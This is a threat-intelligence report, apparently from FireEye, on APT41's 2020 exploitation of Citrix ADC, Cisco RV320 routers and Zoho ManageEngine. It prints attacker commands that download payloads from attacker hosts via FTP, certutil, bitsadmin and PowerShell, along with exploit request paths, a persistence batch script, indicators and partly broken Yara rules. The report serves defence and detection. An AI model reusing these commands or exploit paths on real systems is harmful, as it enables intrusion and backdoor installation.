Beginning this year, FireEye observed
APT41 carry out one of the broadest campaigns by a Chinese cyber
espionage actor we have observed in recent years. Between January 20
and March 11, FireEye observed
attempt to exploit vulnerabilities in
NetScaler/ADC, Cisco routers, and
ManageEngine Desktop Central at over 75 FireEye customers.
Countries we’ve seen targeted include Australia, Canada, Denmark,
Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines,
Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK
and USA. The following industries were targeted: Banking/Finance,
Construction, Defense Industrial Base, Government, Healthcare, High
Technology, Higher Education, Legal, Manufacturing, Media, Non-profit,
Oil & Gas, Petrochemical, Pharmaceutical, Real Estate,
Telecommunications, Transportation, Travel, and Utility. It’s unclear
if APT41 scanned the Internet and attempted exploitation en masse or
selected a subset of specific organizations to target, but the victims
appear to be more targeted in nature.
Starting on January 20, 2020, APT41 used the IP address
66.42.98[.]220 to attempt exploits of Citrix Application Delivery
Controller (ADC) and Citrix Gateway devices with
(published December 17, 2019).
Figure 1: Timeline of key events
The initial CVE-2019-19781 exploitation activity on January 20 and
January 21, 2020, involved execution of the command ‘file /bin/pwd’,
which may have achieved two objectives for APT41. First, it would
confirm whether the system was vulnerable and the
wasn’t applied. Second, it may return architecture-related information
that would be required knowledge for APT41 to successfully deploy a
backdoor in a follow-up step.
One interesting thing to note is that all observed requests were
only performed against Citrix devices, suggesting APT41 was operating
with an already-known list of identified devices accessible on the internet.
POST /vpns/portal/scripts/newbm.pl HTTP/1.1 |
Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781
There is a lull in APT41 activity between January 23 and February 1,
which is likely related to the Chinese Lunar New Year holidays which
occurred between January 24 and January 30, 2020. This has been a
common activity pattern by Chinese APT groups in past years as well.
Starting on February 1, 2020, APT41 moved to using CVE-2019-19781
exploit payloads that initiate a download via the File Transfer
Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp
-o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which
connected to 66.42.98[.]220 over the FTP protocol, logged in to the
FTP server with a username of ‘test’ and a password that we have
redacted, and then downloaded an unknown payload named ‘bsd’ (which
was likely a backdoor).
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 |
Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781
We did not observe APT41 activity at FireEye customers between
February 2 and February 19, 2020. China initiated COVID-19 related
quarantines in cities in Hubei province starting on January 23 and
January 24, and rolled out quarantines to additional provinces
starting between February 2 and February 10. While it is possible that
this reduction in activity might be related to the COVID-19 quarantine
measures in China, APT41 may have remained active in other ways, which
we were unable to observe with FireEye telemetry. We observed a
significant uptick in CVE-2019-19781 exploitation on February 24 and
February 25. The exploit behavior was almost identical to the activity
on February 1, where only the name of the payload ‘un’ changed.
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 |
Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781
Citrix released a
CVE-2019-19781 on December 17, 2019, and as of January 24, 2020,
released permanent fixes for all supported versions of Citrix ADC,
Gateway, and SD-WAN WANOP.
On February 21, 2020, APT41 successfully exploited a Cisco RV320
router at a telecommunications organization and downloaded a 32-bit
ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’
(MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific
exploit was used, but there is a Metasploit module that combines two
CVE’s (
and
to
remote code execution on Cisco RV320 and RV325 small business
routers and uses wget to download the specified payload.
GET /test/fuc |
Figure 5: Example HTTP request showing Cisco
RV320 router downloading a payload via wget
66.42.98[.]220 also hosted a file name
http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:
c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat
/etc/flash/etc/nk_sysconfig’, which is the command one would execute
on a Cisco RV320 router to display the current configuration.
Cisco PSIRT confirmed that fixed software to address the noted
vulnerabilities is available and asks customers to review the
following security advisories and take appropriate action:
On March 5, 2020, researcher
Seeley, published
advisory and released
code for a zero-day remote code execution vulnerability in Zoho
ManageEngine Desktop Central versions prior to 10.0.474 (
Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to
attempt to exploit the Zoho ManageEngine vulnerability at more than a
dozen FireEye customers, which resulted in the compromise of at least
five separate customers. FireEye observed two separate variations of
how the payloads (install.bat and storesyncsvc.dll) were deployed. In
the first variation the CVE-2020-10189 exploit was used to directly
upload “logger.zip”, a simple Java based program, which contained a
set of commands to use PowerShell to download and execute install.bat
and storesyncsvc.dll.
java/lang/Runtime getRuntime ()Ljava/lang/Runtime; Xcmd /c powershell $client = '(Ljava/lang/String;)Ljava/lang/Process; StackMapTable ysoserial/Pwner76328858520609 Lysoserial/Pwner76328858520609; |
Figure 6: Contents of logger.zip
Here we see a toolmark from the tool
used to create the payload in the POC. The string Pwner76328858520609
is unique to the POC payload, indicating that APT41 likely used the
POC as source material in their operation.
In the second variation, FireEye observed APT41 leverage the
Microsoft BITSAdmin command-line tool to download install.bat (MD5:
7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure
66.42.98[.]220 on port 12345.
Parent Process: Process Arguments: cmd /c bitsadmin /transfer bbbb |
Figure 7: Example FireEye Endpoint Security
event depicting successful CVE-2020-10189 exploitation
In both variations, the install.bat batch file was used to install
persistence for a trial-version of Cobalt Strike BEACON loader named
storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).
@echo off set set set set set sc stop %SERVICE_NAME% sc mkdir %WORK_DIR% copy reg add "HKLM\SOFTWARE\Microsoft\Windows sc SC failure sc description reg add reg add net start |
Figure 8: Contents of install.bat
Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version)
which connected to exchange.dumb1[.]com (with a DNS resolution of
74.82.201[.]8) using a jquery malleable command and control (C2) profile.
GET /jquery-3.3.1.min.js HTTP/1.1 |
Figure 9: Example APT41 Cobalt Strike BEACON
jquery malleable C2 profile HTTP request
Within a few hours of initial exploitation, APT41 used the
storescyncsvc.dll BEACON backdoor to download a secondary backdoor
with a different C2 address that uses Microsoft CertUtil, a common
that we’ve observed APT41 use in past intrusions, which they
then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c).
The file 2.exe was a VMProtected Meterpreter downloader used to
download Cobalt Strike BEACON shellcode. The
of VMProtected binaries is another very common TTP that we’ve
observed this group leverage in multiple intrusions in order to delay
analysis of other tools in their toolkit.
GET /2.exe HTTP/1.1 |
Figure 10: Example HTTP request downloading
‘2.exe’ VMProtected Meterpreter downloader via CertUtil
certutil -urlcache -split -f |
Figure 11: Example CertUtil command to download
‘2.exe’ VMProtected Meterpreter downloader
The Meterpreter downloader ‘TzGG’ was configured to communicate with
91.208.184[.]78 over port 443 to download the shellcode (MD5:
659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).
GET /TzGG HTTP/1.1 |
Figure 12: Example HTTP request downloading
‘TzGG’ shellcode for Cobalt Strike BEACON
The downloaded BEACON shellcode connected to the same C2 server:
91.208.184[.]78. We believe this is an example of the actor attempting
to diversify post-exploitation access to the compromised systems.
ManageEngine released a short term
for CVE-2020-10189 on January 20, 2020, and subsequently released an
on March 7, 2020, with a long term fix.
This activity is one of the most widespread campaigns we have seen
from China-nexus espionage actors in recent years. While APT41 has
previously conducted activity with an extensive initial entry such as
the trojanizing of NetSarang software, this scanning and exploitation
has focused on a subset of our customers, and seems to reveal
a high operational tempo and wide collection requirements for APT41.
It is notable that we have only seen these exploitation attempts
leverage publicly available malware such as Cobalt Strike and
Meterpreter. While these backdoors are full featured, in previous
incidents APT41 has waited to deploy more advanced malware until they
have fully understood where they were and carried out some initial
reconnaissance. In 2020, APT41 continues to be one of the most
prolific threats that FireEye currently tracks. This new activity from
this group shows how resourceful and how quickly they can leverage
newly disclosed vulnerabilities to their advantage.
Previously,
Mandiant Managed Defense identified APT41 successfully leverage
CVE-2019-3396 (Atlassian Confluence) against a U.S. based university.
While APT41 is a
state-sponsored Chinese threat group that conducts espionage, the
actor also conducts financially motivated activity for personal gain.
Type | valign="top"> |
CVE-2019-19781 Exploitation | |
Cisco Router Exploitation | 66.42.98\.220 ‘1.txt’ ‘fuc’ (MD5: |
CVE-2020-10189 (Zoho ManageEngine | valign="top"> |
FireEye detects this activity across our platforms. This table
contains several specific detection names from a larger list of
detections that were available prior to this activity occurring.
Platform | valign="top"> |
Endpoint Security
| BITSADMIN.EXE MULTISTAGE CERTUTIL.EXE DOWNLOADER A Generic.mg.5909983db4d9023e Generic.mg.3e856162c36b5329 POWERSHELL DOWNLOADER SUSPICIOUS BITSADMIN USAGE B SAMWELL (BACKDOOR) SUSPICIOUS CODE |
Network Security | |
Helix | valign="top"> |
ATT&CK |
Initial Access |
Execution |
Persistence |
Privilege Escalation |
Defense Evasion |
Command And Control |
The following Yara rules serve as examples of discovery rules for
APT41 actor TTPs, turning the adversary methods or tradecraft into new
haystacks for purposes of detection or hunting. For all
tradecraft-based discovery rules, we recommend deliberate testing and
tuning prior to implementation in any production system. Some of these
rules are tailored to build concise haystacks that are easy to review
for high-fidelity detections. Some of these rules are broad in
aperture that build larger haystacks for further automation or
processing in threat hunting systems.
import "pe" rule { author = strings: $pcre = condition: uint16(0) == 0x5A4D and } rule ExportEngine_ShortName { meta: author = description = strings: $pcre = uint16(0) == 0x5A4D and } rule ExportEngine_xArch { meta: author = description = strings: $pcre = uint16(0) == 0x5A4D and } rule RareEquities_LibTomCrypt { meta: author = description = strings: $a1 = condition: } rule RareEquities_KCP { author = "@stvemillertime" description = "This is a wide catchall rule $a01 = "[RO] %ld bytes" $a02 = "recv sn=%lu" $a03 $a04 = "input $a05 = $a06 = $a07 = "input $a08 = $a09 = $a10 = $a11 = condition: } rule { author = sample_md5 = ref_blog = strings: $pcre = condition: (uint16(0) == 0x5A4D) and } rule ConventionEngine_Term_Desktop { meta: author = sample_md5 = ref_blog = strings: $pcre = condition: (uint16(0) == 0x5A4D) and } rule ConventionEngine_Anomaly_MultiPDB_Double { meta: author = sample_md5 = ref_blog = strings: $pcre = condition: } |